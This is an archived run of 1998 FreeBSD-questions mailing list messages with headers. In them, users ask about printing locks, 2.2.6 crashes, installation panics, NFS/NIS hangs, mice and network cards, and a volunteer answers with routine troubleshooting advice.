Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Randall Hopper wrote: > |Check that your spool directories are writable and that there aren't any > |stale files. > > This was the tip-off I needed. I backed up my spool dir and, one by > one, started removing files, restarting lpd, and seeing whether printing > would work. > > The culprit seemed to be the "lock" file in the "lp" and "text" queue > directories. Thanks for the info -- I'll keep that in mind in case there's a rush of questions in the future. > Thanks for the help Doug! As always, glad to be of service. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:21:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA07094 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:21:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hudsucker.gamespot.com (hudsucker.gamespot.com [206.169.18.74]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA07081 for ; Tue, 7 Apr 1998 11:21:51 -0700 (PDT) (envelope-from jsd@hudsucker.gamespot.com) Received: (from jsd@localhost) by hudsucker.gamespot.com (8.8.7/8.8.7) id LAA08704; Tue, 7 Apr 1998 11:21:54 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 7 Apr 1998 11:21:54 -0700 (PDT) From: Random Junk To: freebsd-questions@FreeBSD.ORG Subject: 2.2.6 unstable X-Mailer: VM 6.43 under 20.3 "Vatican City" XEmacs Lucid Message-ID: <13610.28141.968586.358125@hudsucker.gamespot.com> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i installed 2.2.6 on a totally virgin system. pentium pro 200, 128M RAM, 4G seagate disk, adaptec 2940. i've used that configuration successfully before. the system is awfully unstable. whereas normally i have uptimes measured in months, this one hangs or locks up at least once in a 24 hour period. sometimes there are no signs in the log, it's just totally locked - trying to switch between consoles with alt-F[1-4] doesn't work, even ctl-alt-del doesn't work. it just locked up again this morning, and this time i got some messages: Apr 7 07:14:00 flaya /kernel: pid 126 (cron), uid 0: exited on signal 11 Apr 7 07:14:14 flaya /kernel: pid 130 (sendmail), uid 0: exited on signal 11 Apr 7 11:10:10 flaya /kernel: pid 6413 (inetd), uid 0: exited on signal 11 Apr 7 11:10:11 flaya /kernel: pid 6414 (inetd), uid 0: exited on signal 11 Apr 7 11:10:20 flaya /kernel: pid 6415 (inetd), uid 0: exited on signal 11 Apr 7 11:11:39 flaya /kernel: pid 188 (getty), uid 0: exited on signal 11 (core dumped) Apr 7 11:11:39 flaya /kernel: pid 6416 (getty), uid 0: exited on signal 5 (core dumped) Apr 7 11:11:39 flaya /kernel: pid 6417 (getty), uid 0: exited on signal 5 (core dumped) Apr 7 11:11:39 flaya /kernel: pid 6418 (getty), uid 0: exited on signal 5 (core dumped) Apr 7 11:11:57 flaya /kernel: pid 189 (getty), uid 0: exited on signal 11 (core dumped) Apr 7 11:12:24 flaya /kernel: pid 187 (getty), uid 0: exited on signal 11 (core dumped) those gettys were me trying to log in on the console... i'd type in "root" at the login: prompt and it would core dump each time. finally i had to power cycle it. now it's chugging along nicely but it's a real ticking time bomb. any ideas? -- Jon Drukman jsd@gamespot.com ----------------------------------------------------------------------- Plan: Eat right, exercise regularly, die anyway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:22:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA07361 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:22:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from roma.neomorphic.com (roma.neomorphic.com [205.217.46.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA07255 for ; Tue, 7 Apr 1998 11:22:19 -0700 (PDT) (envelope-from dkulp@board67.cruzers.com) Received: from board67.cruzers.com (board67.cruzers.com [205.215.233.67]) by roma.neomorphic.com (8.8.8/8.8.8) with ESMTP id LAA24870 for ; Tue, 7 Apr 1998 11:21:19 -0700 (PDT) Received: (from dkulp@localhost) by board67.cruzers.com (8.8.8/8.7.3) id LAA15394; Tue, 7 Apr 1998 11:21:24 -0700 (PDT) Date: Tue, 7 Apr 1998 11:21:24 -0700 (PDT) Message-Id: <199804071821.LAA15394@board67.cruzers.com> From: David Kulp To: freebsd-questions@FreeBSD.ORG Subject: disabling ftp progress meter Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Now that I'm running 2.2.6 I get this clever new progress meter with the ftp client. But this causes the emacs ange-ftp package to behave abnormally. There is a "progress" toggle command, but no command line option. "-V" is supposed to turn of verbose output, but the progress meter -- which is surely verbose -- remains on. (I claim this is a bug.) Anyone have a fix for this -- either a way to not use the progress meter by default or a way to set up ange-ftp to issue the "progress" command? thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:24:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA08050 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:24:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA07915 for ; Tue, 7 Apr 1998 11:23:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26709; Tue, 7 Apr 1998 11:23:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:23:45 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Junkins cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Doug Junkins wrote: > I've just tried installing 2.2.6-RELEASE on my system (currently running > 2.2.2-RELEASE) using the standard boot floppy and am getting the following > kernel panic just after the "probing devices" screen comes up: > > panic: vm_fault: fault on nofault entry, addr: f2f02000 > > Any ideas how to rectify? Everything is working fine with 2.2.2, but I'd > like to try the new PnP and sound code to see if my sound card is finally > going to work. The system is an old Gateway 2K P60. Is there any more output than this? We need to know *exactly* where this appears and the full text of any panic output (if there's more than what you've shown me). Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:25:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA08405 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:25:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA08267 for ; Tue, 7 Apr 1998 11:25:04 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26713; Tue, 7 Apr 1998 11:24:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:24:55 -0700 (PDT) From: Doug White Reply-To: Doug White To: Ran cc: "Stephen A. Derdau" , freebsd-questions@FreeBSD.ORG Subject: Re: question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Ran wrote: > when I tried the /dev/cuaa1 it said device not configured. > What else can I do? What serial port is your modem on? If it's on COM2 and you're getting that then your modem isn't probing properly. Check the boot output with the `dmesg' command and check that the sio devices are probing properly. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA09356 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:30:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA09299 for ; Tue, 7 Apr 1998 11:30:01 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26720; Tue, 7 Apr 1998 11:29:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:29:12 -0700 (PDT) From: Doug White Reply-To: Doug White To: SCS Shen Ren cc: "'freebsd-questions@FreeBSD.org'" Subject: Re: Installation problem In-Reply-To: <77D4835D5290D111B8CC00805FE6AAD507275D@bellnet-mail1.sbell.com.cn> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, SCS Shen Ren wrote: > I'm upgrading a FreeBSD 2.2.5 system thesedays . The current > system is minimon installed, without X window and enough packages .I > want those features available. So first I got the packages and Xfree86, and > copied them to a DOS patition, You can't install packages from a DOS partition because the filename is munged. You can mount the dos filesystem, copy the package to the FreeBSD slice restoring the name, then run `pkg_add package.tgz' to install it. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:34:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA10275 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:34:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA10239 for ; Tue, 7 Apr 1998 11:34:04 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26727; Tue, 7 Apr 1998 11:33:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:33:53 -0700 (PDT) From: Doug White Reply-To: Doug White To: Diana Roman cc: questions@FreeBSD.ORG Subject: Re: Help me!!!!! : ( In-Reply-To: <19980407014134.AAA25508@dcr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Diana Roman wrote: > Hi there, I'm running into a problem (or problems?) in the installation > process. > > I made myself a boot disk, and I'm trying to install FreeBSD on my 486 > laptop, which is currently running no other OS or anything. I have a > suspicion that the install program isn't finding my PCMCIA modem... The install floppy doesn't support PCCARD modems. If you need to use it then grab the PAO install floppy from http://www.jp.freebsd.org/PAO/, although you'll need a way of getting a 2.2.5 installation until the 2.2.6 floppy is released. > Then I go to the FreeBSD Disklabel editor and choose A, since I'm devoting > the whole drive to BSD - it prompts me for a mount point for the partition, > and I'm not sure what to enter here. I've been entering '/0' because it > seems to accept this answer (stupid and wrong, I know). You shouldn't be asked about the mountpoints if you use the (A)uto defaults option. Use / if asked. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:36:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA10954 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:36:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA10904 for ; Tue, 7 Apr 1998 11:36:11 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26739; Tue, 7 Apr 1998 11:36:06 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:36:06 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: Kernel Configurtion In-Reply-To: <3.0.5.32.19980406185734.0091d890@mail.zwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Dima Dorfman wrote: > I hope I'm sending this to the right place... > > I'm writing my kernel configuration file, just from the handbook, and, I'm > running into questions (not problems, as I didn't try to compile it): > > I see alot of 'isa?'s. Should I replace these with 'isa0', because in the > GENERIC file, they are left as 'isa?' Just leave them, config will DTRT. > On the entry 'device lpt0...', what should 'port?' be? It is explained at > http://www.freebsd.org/handbook/handbook47.html. Whatever the printer port is in your system. If GENERIC finds it okay then swipe the port from it, which I think is the constant "IO_LPT1". Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:46:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA13211 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:46:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA13058 for ; Tue, 7 Apr 1998 11:45:43 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26749; Tue, 7 Apr 1998 11:45:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:45:35 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Marco A. Barbosa S." cc: freebsd-questions@FreeBSD.ORG Subject: Re: nis/nfs problem try 2 In-Reply-To: <199804070205.TAA12153@fciencias.ens.uabc.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Marco A. Barbosa S. wrote: > ooops Not the thing you wnt to hear first thing from your computer hacker. :-) > 2 2.2.5 RELEASE FreeBSD boxes > > 1.- Fciencias nis/nfs client > 2.- Xcalibur nis/nfs server Okay, I've been working with NIS over the past week or so. > problem: > > network segment on LAN (novell netware,ethernet,thin coax ) > is ok, but Xcalibur gets stuck. If someone is logged in > Fciencias, they still have net access to everywhere, > but Xcalibur gets isolated. Any user in Fciencias, loses > files and noone else can login due to nis/dns failure. Why does Xcalibur get stuck? How? Please be more specific. Can you ping it? Can you connect out OK from xcalibur? > After a few minutes, things get back to normal, but its > pretty annoying to not be able to log into Fciencias, > cuz its the main mail server and web server and other > stuff. Either xcalibur is going south or your network is going south. Hangups on the client sound like a loss of NIS connecivity, and a later reconnection. You should get log entries when the NIS connection is lost and regained. > hmmm we (I personally) suspected Xcalibur's > NIC (Network Interface Card) but... then I was enlightened > somehow and in one of those "crashes" I went to the > Xcalibur console and thought about restarting the nfsd's > but.. I decided to just warm-jump-start them with a > killall -hup... and miracoulously things got online > again... Perhaps a daemon is going nuts? Check top. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:48:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA13707 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:48:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA13691 for ; Tue, 7 Apr 1998 11:48:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26753; Tue, 7 Apr 1998 11:46:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:46:54 -0700 (PDT) From: Doug White Reply-To: Doug White To: Gary Kline cc: FreeBSD Mailing List Subject: Re: configuring a no-name microsoft mouse In-Reply-To: <199804070244.TAA07853@tao.thought.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Gary Kline wrote: > > I have a `Belkin' (no-name, really) microsoft mouse and am > having trouble getting the middle button to work. X86Setup > is a help for other X-configuration things, but hasn't helped > me with this mouse. The right and left buttons do work, tho. > > Does anybody have the correct configuration for this type of > mouse? It must be a switchable type, the MS mice don't support the middle button (except the new-fangled wheel mice which the wheel qualifies as a button). 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Thank you, - max2001bulkisp.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:35:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22937 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:35:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22873 for ; Tue, 7 Apr 1998 12:34:58 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id PAA02949 for freebsd-questions@freebsd.org; Tue, 7 Apr 1998 15:33:52 -0400 (EDT) (envelope-from larry) Message-ID: <19980407153347.41526@marso.com> Date: Tue, 7 Apr 1998 15:33:47 -0400 From: "Larry S. Marso" To: freebsd-questions@FreeBSD.ORG Subject: su: kerberos: not in root's ACL Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Why do I get: su: kerberos: not in root's ACL? I am telneting into my SERVER, on which I just did a clean installation of the latest CURRENT snap. I telnet in as a non-root user; I su to root. I thought kerberos didn't kick in if your rc.conf says: kerberos_server_enable="NO" Is there something else I need to do? Has this been "compiled into" su? Best regards -- Larry S. Marso larry@marso.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:44:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA24199 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:44:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA24185 for ; Tue, 7 Apr 1998 12:44:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA26819; Tue, 7 Apr 1998 12:44:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 12:44:19 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Michael E. Jaskowiak" cc: freebsd-questions@FreeBSD.ORG Subject: Re: ps2 mouse In-Reply-To: <352993B7.2802890C@interpath.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Michael E. Jaskowiak wrote: > Hello. It's Michael Jaskowiak again. Oh no, not again! :-) > I have had tremendous success setting up a sound card on a computer at > work, now it's time to work on one at home. The trouble that I am > having is with my mouse. The mouse is a logitech mouseman ps2. okay. > The rest of the system is an ASUS P2L97 motherboard, Pentium 2 300 chip, > 64 Megs of RAM, 2.1 Gig Maxtor, US Robotics 57.6k Sportster, a > soundBlaster AWE 64 sound card, and Canopus Total3D and Pure3D video > cards (the system also runs Windows 95 for gaming). What happens is > that when I try to use the XF86Setup command, if I move the mouse ever > so slightly, the cursor moves to the upper left corner and stays there. Hm, it's not connecting properly. Are you using the PS/2 protocol? > It might move about one fifth the distance across the top or down the > monitor screen. I have tried the xf86setup command also with no better > luck. I have also recompiled the kernel taking the disable from the > psm0 line and changed the mouse from /dev/cuaa0 to /dev/psm0 in > /etc/rc.conf. So are you using moused? If you have that enabled make sure you point XFree86 as device /dev/sysmouse and mouse type "MouseSystems". Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:49:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA25350 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:49:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25323 for ; Tue, 7 Apr 1998 12:48:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA26826; Tue, 7 Apr 1998 12:48:33 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 12:48:32 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dan Williams cc: freebsd-questions@FreeBSD.ORG Subject: Re: network cards In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Dan Williams wrote: > I have recently put together a FreeBSD machine, and had some problems with > networking. First, I had 2.2.2 on it, and used an Infotek NE2000 > compatible network card. Everything was connected fine, and link lights > wer glowing. But the device timed out, as in ed1: kenel/device timeout. > This happened with a number of different NE2000 compatible cards. Hm, ed1. Is this a PCI card? Check that the interrupt it's getting assigned isn't being hogged by another device. > Next, I put on 2.2.5 with a 3Com 3C509. This was connected, but there was > no link light on the hub it was connected to. It also froze the machine > when running an Ifconfig on the ep0 driver. We are running 10BaseT. Bad cable? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:51:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26282 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:51:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from helmholtz.salk.edu (helmholtz.salk.edu [198.202.70.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA26179 for ; Tue, 7 Apr 1998 12:51:27 -0700 (PDT) (envelope-from bartol@salk.edu) Received: from cole.salk.edu (cole [198.202.70.113]) by helmholtz.salk.edu (8.7.5/8.7.3) with SMTP id MAA24168 for ; Tue, 7 Apr 1998 12:51:25 -0700 (PDT) Date: Tue, 7 Apr 1998 12:51:22 -0700 (PDT) From: Tom Bartol Reply-To: Tom Bartol To: questions@FreeBSD.ORG Subject: NFS hanging in 2.2.6-RELEASE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, I've got a new ThinkPad 770 with a 3Com 3C589D installed and running 2.2.6-RELEASE. The installation was totally painless (thanks to all of you!). It's on the net and I can telnet and ftp without a hitch but I've run into a problem with NFS. I can mount disks served by our NFS servers (either Auspex or FreeBSD running -current) but when I try to copy files from the laptop to the servers it'll copy a few megabytes and then all network traffic stops completely and the machine is not pingable. I cannot Ctrl-C out of the NFS cpio operation but I can still use other windows on the machine just fine everything seems quite responsive. netstat -m, nfsstat, and systat -vmstat don't seem to show anything unusual. Pstat shows the cpio process that I was using stuck in state "D". cp and tar also behave this way. I have also explicitly mounted in NFSv2 mode but this didn't help. I have included output of dmesg and my kernel config file below in case this helps. Let me know what other information might help. Oh, this just in... ftp also hangs in this way as well -- it just get a little further along before it does. Anyone have any clues about this one? Thanks, Tom ` Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.6-RELEASE #0: Mon Apr 6 14:46:08 PDT 1998 CPU: Pentium (233.86-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x581 Stepping=1 Features=0x8001bf real memory = 100532224 (98176K bytes) avail memory = 96034816 (93784K bytes) Probing for devices on PCI bus 0: chip0 rev 1 on pci0:0:0 chip1 rev 1 on pci0:1:0 chip2 rev 1 on pci0:1:1 chip3 rev 1 int d irq 11 on pci0:1:2 chip4 rev 1 on pci0:1:3 chip5 rev 1 int a irq ?? on pci0:2:0 chip6 rev 1 int b irq ?? on pci0:2:1 vga0 rev 243 int a irq 11 on pci0:3:0 pci0:5: vendor=0x1014, device=0x007d, class=multimedia (misc) int a irq 11 [no driver assigned] Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 not found at 0x3f8 sio1 not found at 0x2f8 lpt0 at 0x3bc-0x3c3 irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface psm0 at 0x60-0x64 irq 12 on motherboard psm0: model Generic PS/2 mouse, device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 4887MB (10009440 sectors), 10592 cyls, 15 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 on isa wdc1: unit 0 (atapi): , removable, accel, dma, iordy wcd0: 3445Kb/sec, 128Kb cache, audio play, 255 volume levels, ejectable tray wcd0: no disc inside, unlocked zp: found card in slot 0 zp0 at 0x300-0x30f irq 9 maddr 0xd8000 on isa zp0: aui/bnc/utp address 00:60:08:eb:cb:97 npx0 flags 0x1 on motherboard npx0: INT 16 interface Intel Pentium F00F detected, installing workaround # # GENERIC -- Generic machine with WD/AHx/NCR/BTx family disks # # For more information read the handbook part System Administration -> # Configuring the FreeBSD Kernel -> The Configuration File. # The handbook is available in /usr/share/doc/handbook or online as # latest version from the FreeBSD World Wide Web server # # # An exhaustive list of options and more detailed explanations of the # device lines is present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $Id: GENERIC,v 1.77.2.22 1998/03/24 01:20:14 jkh Exp $ machine "i386" #cpu "I386_CPU" #cpu "I486_CPU" cpu "I586_CPU" #cpu "I686_CPU" ident FICUS maxusers 128 #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15 #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative 